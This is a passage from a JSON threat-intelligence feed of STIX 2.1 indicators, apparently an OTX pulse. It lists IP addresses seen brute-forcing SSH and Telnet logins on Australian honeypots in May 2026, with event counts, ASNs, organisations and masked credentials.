      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1******t, Q********6.",
      "id": "indicator--ebce730c-25f8-42dd-8347-4a2b8441a6b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.172.131.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4, h*****n, d***t, d**a. Passwords observed (masked): 3***********4, 3**********4, 1******1, 1**********E, 1*******3.",
      "id": "indicator--cf7010b5-4d4b-44bf-8dca-a10547ea017e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.239.84.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, **, 3**********4, l***s, l**s. Passwords observed (masked): 1******8, !**********c, 1****3, 1****6, 1**********c.",
      "id": "indicator--eb5493ce-3dfe-4283-916c-1902397f1e38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.122.177.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): ***, r**t, 3**********4, b*****r, c********r. Passwords observed (masked): 1**4, 1****6, ***, 3***********4, 3**********4.",
      "id": "indicator--cb380b92-6390-4bc4-82a6-bfb98738e671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.121.200.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t, 3**********4, d***t, d**a, h*****n. Passwords observed (masked): 1******1, 1**********E, 1*******3, 1*******E, 3***********4.",
      "id": "indicator--d9ce354e-0006-4acf-9ebc-f77dae830c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.200.66.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): r******6.",
      "id": "indicator--be229548-3846-4f5d-a729-c8a0770bc182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.172.250.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.99.1.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): f*****t. Passwords observed (masked): 1******8.",
      "id": "indicator--a54179e5-55ef-4857-a7b4-f55e170e4045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.105.81.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, 3**********4, i******t, i**n. Passwords observed (masked): ***, 1****6, 1***********c, 1******@, 3***********4.",
      "id": "indicator--39a5b71e-1cda-4936-8a9f-bd5b2e14a9ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.244.39.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0ac03819-16e3-4135-9279-6b626bbfd4be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.27.22.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): t**y, 3**********4, a***n, d*****i, d****y. Passwords observed (masked): 1****3, 1****6, 2******2, 3***********4, 3**********4.",
      "id": "indicator--675c3f63-0d93-435f-bc42-b123e8fbb6f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.113.174.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 137654. Organisation(s): Netstra Communications Pvt Ltd. Usernames observed (masked): r**t, 3**********4, j***s, u****u, u**r. Passwords observed (masked): ***, 1*****c, 3***********4, 3**********4, A*******..",
      "id": "indicator--05638339-5ea0-444d-a6d5-4b109c4603ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.66.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--d8b9c0dc-d3b4-4b21-b1a8-228ed7fb5ce7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--6b848bf6-0b52-4072-a6a5-9dc989f6a183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--295e8b42-f855-4626-ade2-00eaad4bf83d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--81e87af3-2ff5-4ba4-b52e-8f3a994e0a2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--a4a64f95-101a-4543-b71b-a637f4ba64a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--6f87171d-0c82-493d-bbc1-d97deb3783fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265663. Organisation(s): BOCA ROJA S.A..",
      "id": "indicator--90cfb082-443f-4dab-820a-459b6427763d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.175.143.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4, a***d, ***, k***a. Passwords observed (masked): *, 1**4, 1******8, 1****7, 3***********4.",
      "id": "indicator--885c3b29-606d-4679-9f3e-a98af4aed531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.58.255.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T20:15:12.000Z",
      "valid_until": "2026-06-24T20:15:09.000Z"
    },
    {
      "created": "2026-05-23T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--b2c85f27-9420-42de-b7c6-a10ee601e08e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.88.164.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T21:15:11.000Z",
      "valid_until": "2026-06-24T21:15:08.000Z"
    },
    {
      "created": "2026-05-23T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd.",
      "id": "indicator--9515a2e6-c374-427b-9cf7-f52c8bc4dd30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.61.209.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T21:15:11.000Z",
      "valid_until": "2026-06-24T21:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--94eb668a-8168-45e7-9a91-c0453e871ac8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.70.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, a***n, ***, j***s. Passwords observed (masked): 1****8, 3***********4, 3**********4, A**********@, a*******2.",
      "id": "indicator--2bb1b2b1-5ca5-428d-9622-d83404f48072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.180.90.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--d378d093-56c9-4229-908e-4eabd403beec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.235.235.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--52a817e8-0836-4f9c-824e-cf98991bc55c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.113.91.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 61490. Organisation(s): Cable Norte Tv SA.",
      "id": "indicator--5f68d1af-12b9-4289-89c3-05fa31be7c86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.108.143.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 61490. Organisation(s): Cable Norte Tv SA.",
      "id": "indicator--b792d090-d247-435b-84e3-2654761bb1d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.108.143.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--5b51a52f-6005-40f4-a054-e8b4d48e812b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.80.15.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--00d012a2-1973-4b18-8aef-a31cb8cd6c24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.99.68.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 263238. Organisation(s): Eliana Vanessa Morocho Ona. Usernames observed (masked): r**t, 3**********4, a**x, d****y, d******r. Passwords observed (masked): ***, 1***5, 1****6, 1*******9, 3***********4.",
      "id": "indicator--a7a1f865-3479-4076-ab13-b4a4e1410bf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.30.14.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c0144697-eb9d-4151-a3bd-9e8ea4157291",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.169.75.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269820. Organisation(s): FULL DATA COMUNICACIONES C.A..",
      "id": "indicator--17681e4f-d925-45b3-b80f-a921499aa3d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.43.231.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CG. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--d7086b1e-80e2-448c-bf3c-4d3f1a8fe622",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.75.66.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--4aecca7f-c07a-4bf3-8a27-ec62ad151008",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.238.12.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T22:15:11.000Z",
      "valid_until": "2026-06-24T22:15:08.000Z"
    },
    {
      "created": "2026-05-23T23:15:12.000Z",
